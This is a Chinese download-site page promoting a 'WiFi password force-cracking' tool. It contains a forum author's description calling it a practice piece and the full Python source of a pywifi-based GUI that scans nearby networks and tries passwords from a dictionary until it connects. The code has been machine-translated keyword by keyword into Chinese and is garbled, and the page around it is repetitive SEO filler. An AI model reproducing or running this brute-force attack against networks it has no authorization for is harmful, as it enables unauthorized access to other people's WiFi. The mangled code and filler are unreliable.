wifi密码强制破解软件v2022
软件大小:22.1MB
软件语言:简体中文
软件类别:
更新时间:2021-08-19 06:49:26
软件分类:上网辅助
应用平台:windows7,windowsXP等
- 软件介绍
- 软件截图
- 相关软件
- 相关阅读
- 下载地址
wifi密码强制破解软件v2022软件好用吗?
wifi密码强制破解软件v2022是一款不错的上网辅助类型的软件,软件程序大小为22.1MB,在秀米下载站我们提供wifi密码强制破解软件v2022下载,上网辅助软件,赶紧下载安装体验一下吧。
wifi密码强制破解软件的作用是什么?
wifi密码强制破解软件是一款非常好用的wifi密码破解工具,由论坛用户制作分享。这个软件可以帮助用户轻松破解wifi。目前这个软件还是测试版,可能会出现一些问题,后面会更新优化。有需要的朋友可以下载体验。
软件描述
这两天在家无聊,想写点小玩意玩玩,就看了看PySimpleGUI,写了一个暴力**wifi的软件
这是一个练习作品,不要指望它真的破解邻居的WIFI密码
密码字典是网上随便下载的,破解的WIFI也是我家的WIFI。还是那句话,这只是一个练习作品!!!
软件代码
将PySimpleGUI导入为sg
导入pywifi
从pywifi导入const
导入时间,os.path
#设置全局默认设置
SG . set _ options(font =(& quot;微软雅黑",10)
#定义用户界面布局
布局= [[sg。文本(& quot2.选择破解的WIFI名称:“)],
[sg。组合(值=[],键= & quot-无线网络名称-& quot;,大小=(40,无)),sg。按钮(& quot1.查找WIFI & quot,键= & quot-扫描WIFi-& quot;)],
[sg。文本(& quot3.选择密码字典文件:“)],
[sg。输入文本(键= & quot-密钥列表-& quot;),sg。文件浏览("选择文件”,目标= & quot-密钥列表-& quot;,键= & quot-文件选择-& quot;)],
[sg。按钮(& quot4.执行检查”,键= & quot-检查-& quot;),sg。按钮(& # 39;5.开始破解& # 39;,键= & quot-开始-& quot;,auto _ size _ button =假,disabled =真],
[sg。输出(键= & quot-输出-& quot;,大小=(54,20))]]
#创建窗口
窗口= sg。窗口(& # 39;窗口标题& # 39;,布局)
#创建网卡
wifi = pywifi。PyWiFi()
ifaces = wifi.interfaces()
iface =无
if len(ifaces)>;0:
iface = iface[0]
def scan_wifi():
"""扫描附近的WIFI""
打印(& quot开始扫描WIFI,请稍候..." )
iface.scan()
睡眠时间(2)
结果= []
对于iface.scan_results()中的res:
if len(res.ssid)>0和res.ssid不在结果中:
results.append(res.ssid)
窗口[& quot;-无线网络名称-& quot;].更新(值=结果)
打印(& quot扫描完成”)
def check():
"""检查开裂前的准备工作是否完成"
如果iface为无:
打印(& quot您的电脑没有网卡,请退出!")
窗口[& quot;-开始-& quot;].更新(禁用=真)
返回
否则:
打印(& quot已选择计算机网卡:"+ iface.name())
wifi name = values [& quot;-无线网络名称-& quot;]
如果(wifiname为None)或(len(wifi name)= 0):
打印(& quotWIFI名称不能为空”)
返回
否则:
打印(& quotWIFI名称:“+ wifiname)
key list = values[& quot;-密钥列表-& quot;]
如果(keylist为None)或(len(key list)= 0):
打印(& quot密码字典路径不能为空”)
否则:
如果os.path.exists(密钥列表)和os.path.isfile(密钥列表):
打印(& quot密码字典路径:“+ keylist)
窗口[& quot;-开始-& quot;].更新(禁用=假)
否则:
打印(& quot密码字典路径不正确”)
def wifi_connect(接口、wifiname、密码):
"""
尝试WiFi连接
:参数接口:网卡对象
:param WiFi名称:WIFi名称
:参数密码:WiFi密码
:返回:真或假,连接成功或失败
"""
if interface.status()!= const。IFACE_DISCONNECTED:
接口。断开()#断开
时间.睡眠(0.5)
Profile = pywifi。配置文件()#创建WiFi连接文件
Profile.ssid = wifiname # wifi的WiFi,即WiFi的名称
Profile.key = password # WiFi密码
profile . auth = const . auth _ alg _ open #开放网卡
profile . akm . append(const . akm _ type _ wpa2psk)# wifi的加密类型,现在一般的wifi都是wpa2psk
侧写。密码=常量。密码类型ccmp #加密单元
按接口清空配置文件列表。
接口。Add _ network _ profile(配置文件)#添加配置文件
接口.连接(配置文件)#连接WiFi
睡眠时间(1)
if interface.status() == const。IFACE_CONNECTED:
返回真
返回False
def crack(wifiname,keylist):
"""
使用密码字典暴力破解WiFi密码
:param WiFi名称:WIFi名称
:param keylist:密码字典
:返回:破解的密码
"""
打开时(密钥列表r & quot,编码= & quotutf-8)作为f:
对于f.readlines()中的键:
key = key.strip()
打印(& quot正在尝试密码:“+键)
isok = wifi_connect(iface,wifiname,key)
如果isok:
打印(& quot连接成功!无线网络:+wifi name+& quot;密码:“+键)
回车键
否则:
打印(& quot连接失败,密码错误”)
#事件处理循环
而真实:
#调用read()显示窗口并等待用户交互
事件,值= window.read()
#以下是事件处理的逻辑
#如果用户点击关闭窗口,退出
if事件== sg。窗口_关闭:
破裂
#扫描WIFI
elif事件= = & quot-扫描WIFi-& quot;:
scan_wifi()
#执行检查
elif事件= = & quot-检查-& quot;:
检查()
#开始破解
elif事件= = & quot-开始-& quot;:
打印(& quot开始开裂”)
裂缝(值[& quot;-无线网络名称-& quot;],值[& quot;-密钥列表-& quot;])
#关闭窗口
window.close()
记名票据
1下载后不要运行压缩包中的软件直接使用,先解压;
软件同时支持32位和64位运行环境;
3如果软件无法正常打开,请右键单击以管理员模式运行;
展开内容wifi密码强制破解软件安装教程
在秀米软件园下载wifi密码强制破解软件的安装包后,运行安装即可使用电脑。
总结:以上内容就是wifi密码强制破解软件v2022软件介绍,包括软件截图和下载地址,让你详细的了解wifi密码强制破解软件v2022,欢迎大家下载安装体验。